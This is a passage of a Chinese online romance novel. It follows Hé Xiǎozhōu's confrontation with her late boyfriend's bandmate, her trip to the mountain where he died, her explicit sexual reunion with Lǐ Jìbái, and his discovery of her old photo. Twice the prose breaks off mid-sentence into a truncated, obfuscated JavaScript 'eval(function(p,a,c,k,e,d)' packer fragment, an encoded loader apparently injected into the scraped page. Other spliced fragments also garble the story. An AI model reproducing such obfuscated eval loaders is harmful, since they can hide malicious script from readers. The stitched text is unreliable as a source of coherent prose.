李既白的呼吸渐移至她颈侧,轻咬着她的耳垂,以气声说:“姐姐,不是想要吗?大点声。” 黑暗中,怒目瞪视只是没有意义的反击。 而她一张口,就完全暴露了她此时的状态,声音发软,听起来更像嗔怪,“混蛋,我不要了……” “好的。” 他嘴上这样应答着,听上去很正经、也很顺从。 …… …… 何筱舟抬手遮住眼睛,趁这个空隙,再度蹬腿踢他,动作里很有些气急败坏,“李既白,你现在,滚出我家。” 男生轻笑着握住她的脚踝,俯身将她捞抱起来。 他胸膛紧贴着她的背脊,嘴唇凑近了,一下一下亲吻她耳后的皮肤。 “好的。” 他应承得乖顺,身体却压低了,伸臂覆住她的手。 旁边,即是刚刚被随意抛开的粉色海豚。 “那还要不要这个?” 手背上薄弱的压感忽然间撤走,当何筱舟意识到他要做什么的时候,已经晚了。 她挣扎着想要退开,腰部却被他控得死死的。 完全陌生的体验,有两种不同的触感接踵而至,直抵神经末梢。 …… 何筱舟在接续的刺激中逐渐思绪空白。 …… 李既白没给她太多缓解的时间。 很快,抱着她再度坐起身。 ……(没招了) 何筱舟张口咬他,没有收力,牙齿刺破他唇间的软肉,却仍觉不解气,冷着脸骂他:“你什么时候变得这么无赖。” “姐姐教的好。” “我可没教你这些……” “那只能说明,我学习能力强,会拓展延伸。 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这种感觉让她想到酒后的微醺时刻,又或是泡在温烫的池水中,整个人都被托举得轻飘飘的。 何筱舟甚至有股冲动,想要直白地告诉他,她已经开始想念他了。 想念他的亲吻,他的拥抱,他身上好闻的味道。 当然,这一切的前提是,在地铁口分别前,他没有说出那句话—— “防止你喝太多酒,我早上买早餐的时候,把冰箱里的酒都送给楼下大爷了。” “筱筱,别想着偷偷违约,我有眼线。” * “您好,您的自由古巴。” 乔楠捏着高脚杯,同何筱舟碰了碰,“怎么样,这地方不错吧?” 开在西峰路街巷角落里的一家清吧,跟乔楠的方寸同属一条街。 闹市中取静,装修的很有格调,每天都有不同的乐队驻场演出,风格大同小异,以R&B曲风为主。 何筱舟几乎立时想到李既白。 她猜想他或许喜欢,录了一小段视频,习惯性分享给他。 发出去才意识到她这有点像“自投罗网”,又匆忙撤回。 他今天一早向她报备过行程,今天吴宪文婚礼彩排,可能回信不及时。 想来不至于这么巧,何筱舟松了口气。 “听丽萍说,她已经见过小白了?” 何筱舟刚喝下去的一口酒差点吐出来,“你跟我妈才是闺蜜吧?” 乔楠哈哈笑,“没辙,丽萍从你那探不到消息,只能来问我。” “都问了什么?” “年龄,学历,籍贯,家庭情况,既往恋爱史。” 乔楠看她神色微变,赶忙道:“我什么也没说,我对小白不了解。” “季惟也不太清楚这些,挺奇怪,他俩好像在学校就认识了。” 何筱舟不以为意,“这没什么奇怪的。” “也是,小白是个边界感很强的人,虽然跟谁都能聊起来,但总感觉跟谁都隔了一层。” 乔楠笑道:“这方面,你们其实是同类。” “不完全一样,我不是跟谁都聊得来。” 乔楠接了通电话,听起来应该是上次去她工作室的那位周公子。她一脸生无可恋地接起来,跟何筱舟打过招呼后出了酒吧。 她急匆匆的,因此根本没有注意到何筱舟骤然变冷厉的眼神。 落点定于小型舞台中央,正弹吉他的男人身上。 他应当也注意到了她,后半首歌,目光全程都凝在何筱舟身上。 很快到中场休息时间。他放下琴,跟乐队其他成员简单交谈几句,就提着瓶纯净水径直走过来,似笑非笑地同她打招呼,“小舟,好久不见。” “别这么叫我,跟你不太熟。” 何筱舟微笑着,眼睛里却没有半点温度。 “不熟?” 侯宗义将矿泉水瓶捏得咯吱作响,“是,咱俩确实不太熟,你只跟林湛熟。” 何筱舟一个眼刀过去,“你什么意思?” 乔楠接完电话回来,感到剑拔弩张的异样氛围,小声问:“筱筱,这谁啊?” “不认识。” 何筱舟站起身,拉着乔楠就要离开。 侯宗义当然不会轻易放过她。 站在她身后,语气凉凉地说:“你就不想知道,林湛死之前那段时间,神神秘秘的,在计划些什么吗?” 何筱舟猛地顿住脚步。 似乎她的反应在他预料之中。 侯宗义冷笑出声,“我真看不透你,抽身的时候比谁都干净利落,背地里黏黏糊糊地放不下,要不是知道你又找了个跟林湛那么像的男朋友,我真以为你已经忘记他了。” 信息量爆炸的一席话,乔楠听得惊愕,只用力握住何筱舟的手,试图给她传递一些力量。 何筱舟回过头,声音像被冬日里的风雪淬过一样冷冽,“我怎么样关你屁事,少操闲心。” “是不关我事。” 侯宗义调出一则视频,把手机递给她,“关他事吧?” 是兰岳的啤酒节,被镜头捕捉的画面中央,她与李既白并肩站在落日里。摇摇晃晃的视频最后,男生红着耳朵,轻轻拥抱了她…… 何筱舟耳边嗡响,仿佛又听到了那时周遭鼎沸的起哄声。她僵立在原地,春夏交替的时节,竟从脚底升起一阵寒意。 侯宗义将手机从她手中抽走,“波哥现在在做这类活动的摄像,他把视频发给我的时候,我真吓了一跳。” “还别说,真像嘿。” 侯宗义啧一声,笑得很是无所顾忌,“我挺好奇的,你这小男朋友如果知道了的话,表情该有多精彩。” 48. 雾散 何筱舟无从想象。 仅仅只是猜测李既白可能会有的反应,都让她觉得难以呼吸。 到此刻,她才不得不承认,她先前所有的犹豫、闪躲,皆是因为担忧他知晓真相,更难以面对那之后的结果。 何筱舟强迫自己镇定下来,冷眼看侯宗义,“别绕弯子了,直说,你想做什么?” 侯宗义笑了笑,“我只是替林湛不值,他当初都打算为你放弃音乐了,最后就落得这么个结果。他前脚刚走,你后脚就离开了北京,这么多年甚至没去看过他。” 何筱舟捕捉到关键字眼,一时怔住,“你刚说什么?放弃音乐?” “你会关心吗?” 侯宗义却不打算细说,转身欲走。 何筱舟叫住他,“你把话说清楚。” “我为什么没去看他——你有这么健忘吗?那时候你让所有人都认为林湛去世是因为我,我至今都不知道他的墓地在哪。” 乔楠担忧地望着她,恨不得把杯子里剩下的酒全泼到男人脸上,“陈年旧事,没必要再提了吧?这位先生,你如果没别的要说的,我们就先走了。” 侯宗义看着何筱舟,真的让开身位,“请便。” 乔楠当即拉着她的手腕准备离开。 可刚走出几步,何筱舟挣开了乔楠的手,又退回他面前,“你今天这一出,到底是想告诉我什么?我有时间,可以等你演出结束,慢慢说。” 侯宗义挑了挑眉,“不用这么麻烦,就几句话。” 他终于肯开口:“你跟林湛提出分手之后,他动过念解散乐队,打算去做他最不喜欢的那种,困在钢筋笼子里、朝九晚五的工作。还有,他死前带你去看流星雨那次,原本是计划向你求婚,未来按你理想中的样子,过普通、安稳的生活。” 骤然揭开的真相就像一把尖细的刀锥,将她脸上的淡笑刺穿,也撬开早已愈合结痂的伤口,重新将血肉搅得淋漓不堪。 这的确是,她从未想过的结果。 侯宗义似乎很乐见她此刻的样子,欣赏着她瞬间溃败的表情,露出满意的笑容。 仿佛他的目的,只是想看她崩溃,看她失控。 但即使何筱舟此刻再不好受,也不想如他的愿。 她快速消化掉这件事,而后,很平静地将锥尖扎回去,“说到底,这是林湛做出的选择,与你无关。你不是替林湛不值,是替自己不平吧?” “林湛是乐队的主心骨,他不在,显然你……” 她故意停顿了下,“否则不至于这么多年过去,还在酒吧驻唱。” “你到现在,都还认为林湛去世是因为我,把责任推到我头上,我理解,无非就是想给自己的失败找个出口。” 内心深处难以示人的怨怼被轻易撕开,侯宗义霎时脸色铁青,再也没有一开始的气定神闲。 他指着何筱舟,口不择言,“你这个女人,林湛遇上你之后就没有好事。林阿姨说的对,谁接近你,谁就会被厄运缠住。” “放你大爷的屁!” 乔楠再也忍不住,上前把何筱舟护在身后,端起她们没喝完的酒,尽数浇到男人头上。 几人之间的争执早已吸引了周遭的注意,酒吧工作人员见势头不对,连忙上前制止。 试图追过来的侯宗义被劝住,乔楠这才得以很顺利地揽着何筱舟离开。 “筱筱,没事了……” 乔楠扶着何筱舟坐进车里,摩挲着她的手背,一点一点将她紧攥的手指分开。 回程的路上有代驾在,不好多说什么。 乔楠几次想开口扯点无关紧要的话题,见何筱舟倚着车窗,整个人如同窗外的夜色一样静默寂寥,又闭嘴了。 车子就这样一路沉闷地开回了新安社区。 何筱舟不记得自己是怎么从停车场走回家,又是怎么开的门。好像她一切的行为都是凭借肌肉记忆,而她的灵魂,她的意识,像是被困在真空玻璃罐内,孤立无援,连求助都会被隔绝。 直到进了门,嗅到清淡的花香,她才感到有新鲜的氧气漫入肺腔,手脚渐渐恢复了知觉。 还是李既白出发回南岸那天清早买的花,几天时间过去,花瓣已经开始枯败,却仍有微薄的香气萦绕一室。 像他本人。 不在这里,却仍有着不容忽视的存在感。 因此,何筱舟用了很长时间才做足心理建设,站上凳子去拿搁在收纳柜最上方角落里的小箱子。 乔楠接过去,“你打算怎么处理?” 何筱舟望向她,素来冷静的眼睛里,此刻尽是惶惑,“我不知道。” 乔楠无声叹气,拉她在沙发前坐下,“筱筱,跟我说说吧,你可能需要一个出口。” 该从哪里说起呢? 何筱舟将封箱的胶带揭开,最先映入眼帘的,是一张旧合影。 她毕业回到津海后,就把这些关于林湛的旧物收进了书柜里,再也没拿出来过。 直到前段日子何丽萍搬家,才重新整理了一遍,尽数收进了这只小箱子里。 照片边缘已经泛黄,甚至被时间腐蚀出了细小的锯齿样痕迹。 只有其间被定格的笑容,仍旧鲜活如新。 印象中,那是她第一次参与进林湛的社交圈。 彼时他们已经交往了好几个月,除了身份关系上的明确转变,相处模式跟如今的饭搭子、学习搭子没什么不同。 趁双方没课的时候一起去图书馆,饭点选距两幢院楼都近的食堂吃饭,林湛不是每天都来陪她,但会告诉她,他去做什么,也时常邀请她参加他的活动。 乐队排练、赛车、极限运动…… 何筱舟起初觉得这些东西离自己非常遥远,内心总有种说不出的抗拒。林湛不觉得扫兴,也从不勉强她,照旧按他的节奏来。 是那次临近期末,何筱舟被各种作业、考前复习压得喘不过气。 林湛好几天没见她人,直接到宿舍楼下等她,不由分说把她塞进车里。 目的地是一家club,陨落前摇在那边有演出。 何筱舟没来过这种场合,感觉与周围格格不入。 但所有的不适应在林湛上台后瞬间消失。 何筱舟至今记得他那天的穿着,缀有卡通图案的明黄色机车夹克,腰间挂一枚玩偶,灰蓝色牛仔长裤上画着显眼的涂鸦。 是他一贯的风格,既张扬又耀眼。 舞台上的他自信极了,给人一种整个世界都在他脚下的感觉,吸睛到足以让何筱舟忘记了一切烦扰。 眼前只有他,耳边只有他的歌声。 演出结束,他们在休息间举杯庆祝,何筱舟和林湛被乐队成员簇拥着,有了第一张合影。 何筱舟无法形容那天的感受。 总让她想到高考前夕在教室里每一个昏昏欲睡的下午,困在座椅间的只是躯壳,而灵魂早已出窍,越过树梢,在城市高楼间穿梭,最终飞至广袤的草原或天空。 对她来说,短暂、绚丽,犹如一场幻梦。 因为这样的梦,她好像被重注生机,再面对枯燥的现实时,整个人都轻松很多。 考完试,林湛带她去露营。 朗朗星空之下,他们共享一副耳机,林湛双臂后撑,懒洋洋地说:“优等生,看,天没塌下来,你也还是第一。” “所以,偶尔逃个课没什么大不了的。” 如林湛所说,她很坦然地,将这些时不时的“逃课”活动当成了繁忙生活中的调味剂。 他脑袋里装着太多有趣的想法,永远能带给她惊喜,也让她有了很多新鲜的体验和感受。 只是,尽管他们在一起的时候很愉快,但何筱舟始终没办法对他们之间的差距视而不见。 交往之初,她就给这段关系预设过结束的期限。 所以毕业季,因为未来规划而产生分歧时,她没有考虑多久,就提了分手。 她那时的想法很简单。 他们都不是甘愿为对方改变方向的人,她被优绩主义长久裹挟,和大多数普通人一样,工作、升迁、获得通俗意义上的认可和成功才是适合她的路线。 而林湛,他肆意、热烈、自由,不该明珠蒙尘。 可到今天她才知道,他曾经想过要为她放弃自己热爱的一切。 “我是不是很自私?” 乔楠摇摇头,“你知道吗?在我眼里,你身上的魅力很大一部分来自于,很坚持自我,不会被任何人和事轻易影响。倔,但也勇敢。” “不是另一种懦弱吗?因为不敢轻易接纳全新事物。” 乔楠笑起来,“你对自己有什么误解?” “如果是高中时候你告诉我说,你去酒吧、和学校里最酷的贝斯手谈恋爱、开赛车,深夜在马路边喝酒唱歌,玩蹦极、跳伞、潜水这些,我会以为你被夺舍了。” 何筱舟也笑了笑,“因为这些只是分支,不会影响主线。但与工作有关的,比如我年初就想过换个环境,试试另一个方向,到现在都还没付诸行动。” 乔楠了然,“但你一定已经开始做准备了。” “等就绪后再开始,这是为自己负责的表现。但有些事是不需要准备的。” 何筱舟问:“比如?” “比如林湛曾经带你去做的那些。” 乔楠灵光乍现,眼睛亮了亮。 她有些急切地把刚才拿出来的物件一股脑捧起来收回小箱子,抱在怀里,霍然站起身。 “再比如,我们现在去北京。去感受你没有和林湛一起登顶的山,想象你错过的流星雨,然后,处理掉它们。” “你去欧洲进修的是写诗吗?” 何筱舟仍坐着,无动于衷,“我们刚喝过酒,而且北京限号。” 乔楠很干脆,“不是只有一种方式能到达终点。” * 坐进候车室时,何筱舟难免有些忐忑。 工作上出差的次数不少,可这些年,竟没有一次涉及到北京。 思绪飘忽间,李既白打来了电话。 他的声音听起来很疲惫,却仍带着笑意,“刚刚撤回了什么?” 何筱舟迟疑道:“没什么。” 他缓声说着今天的事,一大早赶去宴会厅彩排,结束后又被拽去参加吴宪文的单身派对,回到家才发现手机早没电了。 再日常不过的琐事,但此刻听在耳里,竟让何筱舟莫名想落泪。 她怕李既白听出破绽,草草说几句就挂断了。 乔楠少见的没有调侃她,只说:“其实,林湛和小白,是完全不同的两类人。” 何筱舟愣了愣,垂下眼睛,轻嗯了一声。 * 买的最晚一班高铁,乔楠提前联系过租车公司,到的时候,工作人员已经在停车场等她们。 具体位置在与邻市交界的区域,两人轮换着开,凌晨两点左右抵达山脚。 夜色灰沉沉,和记忆中如出一辙。 那时她刚提分手,林湛不肯,得空就约她见面。 “你定的期限是毕业,还没到。既然你现在还是我女朋友,那我们每一天都要好好在一起。” 他们几乎共同度过了整个大学生涯,何筱舟当然会有不舍,总轻易被他说服。 那次他说有难得一遇的流星雨,就在她公司楼下等她下班。 车刚开到市郊,她接到上司的电话,说刚提交的新版本代码有问题,让她尽快回公司帮忙排查。 正是临近实习结束决定她能否留在那家公司的关键期,何筱舟只能先赶回去。 林湛当时没说什么,甚至连一丝计划落空的失望都没有,只摸了摸她的发顶,“那我先去探路,下次我们再一起去。” 他调头把她送回公司,然后独自前往。 等何筱舟接到电话时,已近凌晨了。 如今再回想起来,她只能记得跟电视剧里几乎一模一样的事故现场。 红蓝光闪烁刺得人眼睛发疼,被警戒线圈起来的一地狼藉,压抑的哭喊声,不知是灭火残留还是气候变化产生的烟雾,被车灯照亮的路牌,对讲机滋滋的电流音……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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天气不算晴朗,也无雨,山间极度阒静,风声都微弱不可闻。 何筱舟脑袋里一时是林湛在舞台上唱歌时恣意的笑,一时是她每日通勤途中遇到的被生活搓磨的灰扑扑面庞,如果林湛也泯于其中……她无法想象。 她就那样站在那里,思绪越飘越远,感觉自己变成了渺茫天地间的一粒尘埃,微小到可以忽略不计。 自然,她的喜怒也是。 日头跃出云层的时候,何筱舟觉得,某些长久凝在她血肉中的情绪,好像随着薄薄的雾气,被阳光一同驱散了。 所以在下山的时候,乔楠提议不如就把带过来的小箱子留在那块黄底路牌边,何筱舟没有拒绝。 “那少了点东西,林湛送我的耳环,还在家里。” 乔楠找了个妥善的地方将车停好,颇郑重地做了个封箱仪式——她准备充分,竟然还带了胶带。 完事后,两人返回车上。 “贵重物品除外,”乔楠边启动车子,边朝她眨眼,“而且,那对耳环的其中一半,是小白补齐的。” “说不定,这对你来说,会是新的开始呢?” 何筱舟不由地心念一动。 下山后还车又折腾了许久,再返回津海时已经是下午了。 整晚没睡,乔楠困的不行,一上车就睡了过去。 何筱舟看着窗外飞速后退的景物,内心无由亢奋。 车先开去了西峰路,何筱舟把乔楠送回方寸,临走前拥抱住她,“乔儿,谢谢你。” 乔楠说:“你在我这睡一会再走吧?” 何筱舟摇摇头,“你问我的问题,我想清楚了。” 求婚,无论是六年前的她,还是以她如今的视角考虑,她应当都不会答应。 第二个问题,“所以我现在要去南岸。” 乔楠有点懵,不知道她这两句话之间的因果逻辑在哪,“你们谈恋爱的人,脑回路真的很奇怪,也是真有劲。” 但她只拍拍何筱舟的后背,“到了报平安。” * 何筱舟仍未能顺利抵达南岸。 候机的时候,她翻出和李既白初认识时,曾预订过的民宿订单,给他打了个电话。“我迷路了。” “嗯?” 李既白疑惑,“你在哪呢?” 何筱舟轻咳一声,“从南岸机场到湄湾岛,去哪个码头乘轮渡最方便?” 没有预料中的欣喜,他惊愕道:“你去南岸了?” 何筱舟心里冒出不好的预感,“正准备去。” “可是筱筱,我已经到津海了。” ? “你不是在参加朋友的婚礼吗?伴郎可以这么早离开吗?” 她多多少少听说过那些繁琐的流程,一般要到晚上才算是正式结束。 “新郎特批,婚礼结束我就走了。” 李既白低声说:“没办法,筱筱,我很想你。” “你现在在哪?” 何筱舟是直接从西峰路赶来机场的,没带任何行李。她循着指示牌,一路小跑到出口。 李既白面容清俊,穿着板正的衬衫长裤,站在午后的阳光下,像这个时景下节节拔高的树,是人群中最挺拔醒目的存在。 何筱舟一眼就看到了他。 她放慢脚步,但心脏因为连续的跑动几乎要跳出胸腔。 她难以负荷,只能将整个人,连同过载的心跳一起,投进他怀里。 李既白随即收拢双臂,把手中拿着的花束贴紧她的脊背,就这样,将她直接抱离地面。 他仰脸看她,好看的眼睛里闪烁着期许,“为什么要去南岸找我?” 何筱舟眨眨眼,“可能因为,你买的花枯萎了。” “你呢?为什么提前回来?” 李既白亲昵地蹭她的鼻尖。 “可能是因为,我抢到了手捧花,想第一时间送给你。” 49. [锁] [此章节已锁] 几乎一整天不停地奔波,何筱舟疲惫极了。 可她心里存着些疯狂的念头。 她以为经过昨天晚上的“告别”仪式,她应当会被重塑。 可内心深处就像骤然坍塌了一角,如经年累月的旧房子,高墙之上碎裂出一隅缺口,有细小的渣块不间断掉落下来。 她仍旧被困在房子里面,只能感受到四面八方的风,呼呼灌进来,而她无从躲避,被风声劫掠到茫然无措。 所以当下,她迫切需要抓住些什么。 需要把周身所剩不多的精力全部消耗干净,需要将那所旧房子完全覆灭,哪怕她一同被掩埋。 何筱舟闭了闭眼。 她抬手将李既白扶着的行李箱推到玄关柜旁,回身把他压在刚刚关合的门板上。 手攀着他的颈项,边吻他,边褪掉身上的衣物。 她的动作并不急切,在午后铺满阳光的室内,她微蹙起的眉,轻颤的长睫,她轻柔如羽毛刮过的吻,一切的一切,都有种隐约而朦胧的缱绻感,透着无限的眷恋。 仿佛她的目的不是过程中的欢愉,只为了确定他的存在。 李既白不由一怔。 她在这段关系里,总是若即若离,可以不管不顾地跟他黏在一起,也能干脆利落地抽身而去。 但始终如一的,是她一直占据主导地位。 这是李既白第一次感觉到,她需要他。 不单是他的身体,不单是想要从他身上找寻一些他不明缘由的慰藉,在心理上,或许也需要他,依恋他。 甚至可能,有她一直没明说过的喜欢。 这样的认知让李既白内心狂喜。 向她靠近的过程,就像攀爬一座陡峭的山,没有安稳的近路可走,也少有可借力的缓冲地带。 他不知道什么时候才能顺利抵达终点,只能埋头向前。直到感受到拂面而来的风,他才惊觉,她已经站在尽头等他,不知等了多久。 “筱筱……”他强忍哽咽地低声喊她,双手绕到她身后,微弯下身,把她抱进怀里。 何筱舟配合地收力,双腿盘绕在他腰间。 “李既白,我……” 直觉此时的状态多说一句就要露馅。 何筱舟捧着他的侧脸,改口问:“你走了几天?” “不到一周。” “是吗?”她喃喃道,“为什么我感觉有很多天,就跟我们断联的那段时间一样。” 李既白觉得自己没救了。 她一定是经验最老练的渔夫,总知道在什么时候下饵撒网,能让他心甘情愿地主动游进去。 明明她的表情还是一贯的淡然,可他却无端端觉得,他们是一样的。 不管是他贸然表白后的断联阶段,还是这几天,她都在思念着他。 李既白伸手扣住她的后颈,激烈地吻住她。 唇舌相互纠缠,在安静的室内,他们的气息逐渐变得粗重,像要把对方拆吃入腹一样。 所幸李既白保留了一丝清醒,不忘瞟一眼阳台和厨房的窗口。 两侧的遮阳帘此时都敞开着,只有玄关的拐角略作遮挡。他随手捞起一件衣服,将何筱舟裹严了,抱着她快步走进浴室。 热水兜头浇下来,身体严丝合缝地贴紧,何筱舟终于觉得空寂漏风的心脏稍稍被填实了些许。 她在氤氲的水汽中踮起脚尖吻他,逐渐稀薄的空气里,她热到几近窒息。 李既白也是。 她双臂攀着他的肩膀,整个人如同藤蔓植物般绕在他身上。他只能揽紧了她的腰,防止她站立不稳,坠跌下去。 然而他根本分不清,缠着他的,是她还是流水,因为都同样的柔软,根本抓不住似的。 偏她还觉得不够,舌尖探出来,一下一下轻轻舔他的喉结。甚至腾出一只手,握住了他正逐渐失序、愈加分明的呼吸和心跳。 李既白难耐地仰颈,喉结滚动,徒劳地吞咽了下。开口时,声音嘶哑的不成样子,“筱筱,不能在这里……” 方才直接进浴室,没来得及拿安全套。 何筱舟顿了顿,再度吻住他,“先不戴。” 李既白额角惊跳,将她拉开些许,“不行。” 她被迫停下来,掀眼看他,眼睛像浸过水一样,目光泫然。 李既白从没见过这种状态的她。 他心头蓦地一阵刺疼,理智也瞬间回笼。以他对她的了解,即使是最动情的关键时刻,她也决计不会说出这样的话。 她的反常,让他忽然有点不安。 “宝贝。” 李既白把她揽进怀里,亲了亲她的额头,“是我离开津海的这些天里,发生了什么事吗?” 何筱舟没想到他竟这么敏锐。 她心里暗惊,摇了摇头,“只是觉得你不在家,哪里都空落落的。” 李既白伸指轻轻挑起她的下巴,认真观察她的神色,似在研判这句话的可信度。 许久。他低头吻了吻她的唇角,将她身上残余的泡沫冲洗干净,抽了条浴巾裹着她,拐进卧室。 何筱舟后背陷进柔软的被褥。 她刚要调整位置,腰被搂紧,她整个人被一股温和的力道抱至床沿。 男生俯下身来吻住她,嘴唇每到一处,就要用轻而温柔的声音,亲呢地叫她。 到后来,他缓慢地跪下身。 何筱舟心理层面的体验感被他变着花样的称呼拉升到极致,竟连一丝一毫的空缺都容忍不了。 明明也很喜欢他正在做的事。 她支起手肘,伸臂揉了揉他柔软微潮的头发。 “李既白,我要你……过来抱着我。” 他依言照做,极度配合,好像无论她今天提什么要求他都会应承。 空闲的双臂重新被填满,何筱舟搂紧他的肩背,目光不错地望着他的双眼。 李既白的声音里有他自己都未觉察到的颤栗。 他嘴唇挨上她的眼睫,“筱筱,告诉我,我不是在自作多情,你也喜欢我,很想我。” 何筱舟眼神闪烁着,没有正面回答。 她只是仰起脸,亲吻他的眉峰,眼下的小痣,鼻梁上端的驼峰,线条分明的下颚,认真而仔细地,一一吻过他与林湛之间细微的差别点。 “感觉到了吗?” 李既白已经习惯她不坦言。但,她意有所指的,是她刚刚的吻,还是此刻遽然的紧缩?他无法思考了。 他从未像现在这样,想摒弃所有理智,放任自己动物般的本能,不留任何余地地融入她、占有她。 何筱舟同样,抛开一切纷杂的思绪,只感受他。 …… 满足感在身体内成倍爆炸,何筱舟手指掐着他的臂膀,安然闭着眼,等待余波消退。 “筱筱。” “嗯?”她没有睁眼,但仍能感觉到男生正在注视着她。 他垂下头,伏额抵着她的肩头,语气郑重,“如果我在这个时候说我爱你,会让你觉得轻佻吗?” 何筱舟感觉自己的心跳都漏了一拍。 他一直这样坦荡,好像根本不在乎会收到她何种回应。 “当然不会。” 何筱舟手指抚上他被汗珠润湿的发根,“我很喜欢你在这个时候说爱我。” * 五月底,津海的温度节节攀升。 何筱舟洗漱完,换了件薄款衬衫搭半身裙,想了想,将袖子半挽,戴上了李既白去年圣诞送她的那块腕表。 起初李既白没觉得有哪里不对。 她惯常都是这样简约的搭配,尽管这条裙子将她腰臀线条完整地勾勒了出来,可经她冷秋般的气质一衬,性感被弱化,反而有种果断干脆的飒爽之气。 是在一起出门的时候,他后知后觉注意到她的手腕,难以自控地将她按在玄关柜上狠狠亲了一通。 最后害她每天雷打不动的出行时间晚了十分钟。 何筱舟剜了他一眼,耐着性子重新填涂口红,扣好扣子,将凌乱的衣摆塞进裙边。 李既白笑了笑,“姐姐,我现在才发现……” 他故意卖关子,说半句留半句。何筱舟刺他,“发现你有点变态?” “这就变态了?”他挑挑眉,目光落去她腕部,“发现你好像有点慢热。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没把握。”他们在一起的时间毕竟不长。 何筱舟笑了下,但看着不太走心,“这是最坏的结果,如果……或许我可以,主动追他一次?” 乔楠惊讶地扬起眉梢,“这倒新鲜,我有点想看。” 何筱舟余光瞥见不远处街角显眼的莹亮logo,正是李既白送她这块腕表的品牌。 她挽着乔楠朝那边走,“那你先别急,陪我选个礼物。” 回到家,开门前,何筱舟刻意将纸袋背到身后。 但她始料未及地踏进了一室昏暗。 她以为李既白有事还没回来,伸手按开顶灯。 迈进客厅,没防备看到沙发上的人,何筱舟惊了一下,手中的东西差点掉在地上。 李既白双肘拄膝,高大的身躯微微躬着,神情是说不出的颓靡。 他应声转头看她,由来乌亮黑白分明的眼睛里,泛着明显的红血丝,像熬了很久的夜,让她不由心里一沉。 “怎么了?” 何筱舟走近才看清楚了他正捏着的薄薄纸片。 是她和林湛的合照。本应该随着那箱子旧物一起被留在半山腰,怎么会在他手里? 何筱舟大脑快速运转,思索着说辞。 她的确想过跟他坦白,但不是在这种情况下。失去一部分先机的情况下,该怎么把事情扳回她预设的轨道? 她两手合拢,手指有些焦虑地剿缠在一起。 男生看出她的疑惑,甚至在这种时候都想着先跟她说明因由,“我不是探听你的隐私。我今天下午打扫卫生,在茶几下面看见的。” 想来应当是收拾的时候匆忙之间遗落的。 何筱舟用力闭了下眼,刚张口,却被他打断。 他笑了下,笑意很是惨淡,“筱筱,我不记得我跟你拍过这样的照片。” “他是谁?” “是你梦到过的林zhan?” 接连的问句,但完全没到咄咄逼人的地步。他语气甚至十分平静,像在问一句跟自己无关的事。 何筱舟从没觉得语言这么苍白。 她颓然垂手,对上他泛红的双眼时,只觉得心口一疼,就好像被什么利器凿开了一条裂缝。 50. 剥离 李既白是在暮色四合的傍晚看见这张照片的。 他坐下时,被不知名的反光晃了下眼,定睛看见了茶几底下冒头的小斜角。 像开启时光宝盒的钥匙,他揪着尖角,没防备扯出一张照片,就这样无意间窥见何筱舟的过去。 其实何筱舟大学时期的样子,他一直都记得。 那时他读高中。是他有感知以来最痛苦的阶段。 最好的朋友和相依为命的家人相继离世,他每天浑浑噩噩,满脑子都是逃离南岸的想法。 在学校尚可以用做题背书等等机械枯燥的东西让自己忙碌起来,可一旦停下来,他便会被庞大的空洞感吸噬。 支撑他前行的动力,是他满心想着,他或许还可以帮好友实现愿望。 于是他空闲的时间,全部用来查询各大高校的官网,和相关专业的发展前景,试图找到一个两全的方法,代替好友抵达他一直向往的广袤蓝天。 点进那则招生宣传片纯属偶然。 他一开始以为会是一些听起来很燃实则无甚大作用的打鸡血内容,便把视频当作背景音,抽空去拿了罐可乐。 再坐回桌前,他不期然看到了视频中的女孩。 彼时何筱舟留着齐肩中短发,面向镜头时,目光里是清晰可见的坚韧和执着,脸上也挂着明晃晃的目的性。 当然是褒义。当时李既白只觉得她就像一柄锋利的剑,锋芒尽显,一定是个目标明确、坚定又果决的人。 李既白看得入神,根本没留意到可乐罐的异样。 充盈的气体在打开的瞬间迸射而出,暗红色液体随之四处喷溅,他无暇顾及,只紧紧盯着屏幕里那张淡然却倔强的脸。 好像某一刻,他与她隔空对视,灵魂共鸣。 后来,李既白以她为标杆,希望能和她对齐。 不单是能力,更是因为她的韧劲和那股仿佛什么困难都不在话下的胸有成竹感。 他知道她的名字,她读什么专业,她的成绩、奖项,但从没想过,这些符号有一天会在现实生活中拼凑出具象的她,他会和她产生交集,被她吸引,忍不住向她靠近。 时间将她身上的锋刃掩藏了一部分,她看起来更加冷静,蜕变成一种拒人千里的孤孑和清傲,携着隐约的攻击性。 不变的是,她仍旧坚持自我,不会被轻易撼动。 这张照片上的她,则介于两种气质之间。 她歪头躲避着镜头之外飞溅过来的酒液,但肩膀被旁边的男生牢牢扣住了。 于是她只能闭上一只眼睛,如林间惧怕人类出没的小动物一样,忽闪的另一只眼睛里装满了狡黠。 李既白猜想,她一定在心里悄悄计算着酒液飞来的轨迹。 她大笑起来是这样的,疏淡的五官都变得灵动起来。他看着,不由也笑了下,手指轻拂过她的眼角。 然后,他才将注意力移去她旁边的男生身上。 两人之间有着旁若无人的亲密,什么关系不言而喻。他承认有一点嫉妒,当然更挫败,因为她在他面前,从没有过这样的状态。 直到李既白看清了男生的脸。 照片背景昏暗,他大部分五官都匿于阴影中,李既白定神细看,被熟悉的五官和眉目惊愣住。 他立时遍体生寒。 刚到津海读书的第一年,李既白不是很适应这里的气候。 室内有供暖还好,一旦出门,就像从和暖的春天骤然跌进冰封的世界里,五脏六腑像被冻住,连同血液也一起凝固。 就是那种感觉。 他的身体、四肢一点点被冻僵。 脑中像过电影一样回放他跟何筱舟认识以来的细节——第一次见面她诧异如见鬼般的样子,总胶着地落在他身上但含义不明的目光,对视时柔软又飘忽的眼神。 朦胧,没有具体的落点,像在看着他,又不像。 原来他从来没有读懂过。 李既白第一反应是离开这里,至少先把他的东西整理好,不至于在她回来之后过于狼狈。 然而他的身体就像被焊死在沙发上,动弹不得。 他就这样从黄昏一直坐到夜幕低垂,少有的固执和偏激,只想要她给一个明确的答案。 钥匙插/入锁眼的声响,让他短暂感觉他从冰寒中被解救了,但之后,是有滞后性的,更为难熬的砭骨痛感。 她的反应让他所有的疑问昭然若揭。 